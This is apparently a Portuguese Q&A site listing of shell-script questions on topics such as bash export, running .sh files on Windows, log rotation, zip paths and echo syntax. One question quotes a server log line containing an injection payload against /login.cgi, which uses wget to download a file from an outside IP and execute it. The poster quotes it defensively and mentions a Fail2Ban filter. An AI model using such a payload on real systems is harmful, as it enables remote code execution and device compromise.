Perguntas com a marcação «shell-script»

Um script de shell é um script escrito para o shell, ou interpretador de linha de comando, de um sistema operacional.




3
O que a exportação faz no BASH? [duplicado]
Possível duplicado: diferença entre "a = b" e "exportar a = b" no bash É difícil admitir, mas eu nunca entendi o que exatamente exportfaz com uma variável de ambiente. Eu sei que, se eu não exportar uma variável, às vezes não a vejo em processos filhos, mas às vezes …

15
Como executar o arquivo .sh no Windows?
Quando estou tentando executar um arquivo (name.sh) na linha de comando pelo comando ./name.sh, estou recebendo o erro de que: "." não é reconhecido como um comando interno ou externo, arquivo operável ou em lote por favor me ajude a executar o arquivo .sh


9
Rotação de log de stdout?
Eu tenho um programa Linux que pode gravar informações em stdout e stderr. Eu tenho um script de shell que redireciona essa saída para um arquivo /var/log. (Via >>e 2>&1.) Existe uma maneira de fazer esse arquivo de log girar? (tamanho máximo, depois mude para um arquivo diferente, mantenha apenas …

3
Evite o caminho indesejado no arquivo Zip
Estou criando um script de shell para empacotar alguns arquivos. Estou compactando um diretório como este: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ O problema é que o arquivo out.zip resultante possui todo o caminho do arquivo. Ou seja, quando descompactado, terá todo o caminho "/ Users / me / development / anotherthing …
49 macos  bash  zip  path  shell-script 


2
O que esse script bash faz? [Tentativa de invasão]
Eu tenho notado nos meus servidores apache logs, as seguintes linhas estranhas ultimamente: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Então, criei um filtro Fail2Ban personalizado e comecei a banir os IPs solicitando esses URLs /login.cgi. Mas eu estava curioso para saber o que eles …

2
O que há de errado com "echo $ (stuff)" ou "echo` stuff` "?
Eu usei um dos seguintes echo $(stuff) echo `stuff` (onde stuffé, por exemplo, pwdou dateou algo mais complicado). Foi-me dito que esta sintaxe está errada, é uma prática ruim, não elegante, excessiva, redundante, excessivamente complicada, uma programação de culto de carga, noobish, ingênua etc. Mas o comando não trabalho, então …
31 shell-script  sh  echo 


2
Shell script ecoar nova linha para arquivo
Eu quero ecoar uma nova linha para um arquivo entre variáveis ​​em um script de shell. Aqui está o meu código: var1 = "Olá" var2 = "Mundo!" logwrite = "$ var1 [Aqui é onde eu quero inserir uma nova linha] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt No momento, quando …


3
Como atualizar o bash no Mac OS X Yosemite
Apenas tentando aprender um pouco o script bash. Minha versão antiga do bash: Bash version 3.2.53(1)-release... Atualizei meu bash no mac os x yosemite com homebrew: brew update brew install bash Em seguida, nas propriedades do terminal, mudei o caminho padrão do shell de /bin/bashpara /usr/local/bin/bash(como eu entendo, é aqui …

Ao utilizar nosso site, você reconhece que leu e compreendeu nossa Política de Cookies e nossa Política de Privacidade.
Licensed under cc by-sa 3.0 with attribution required.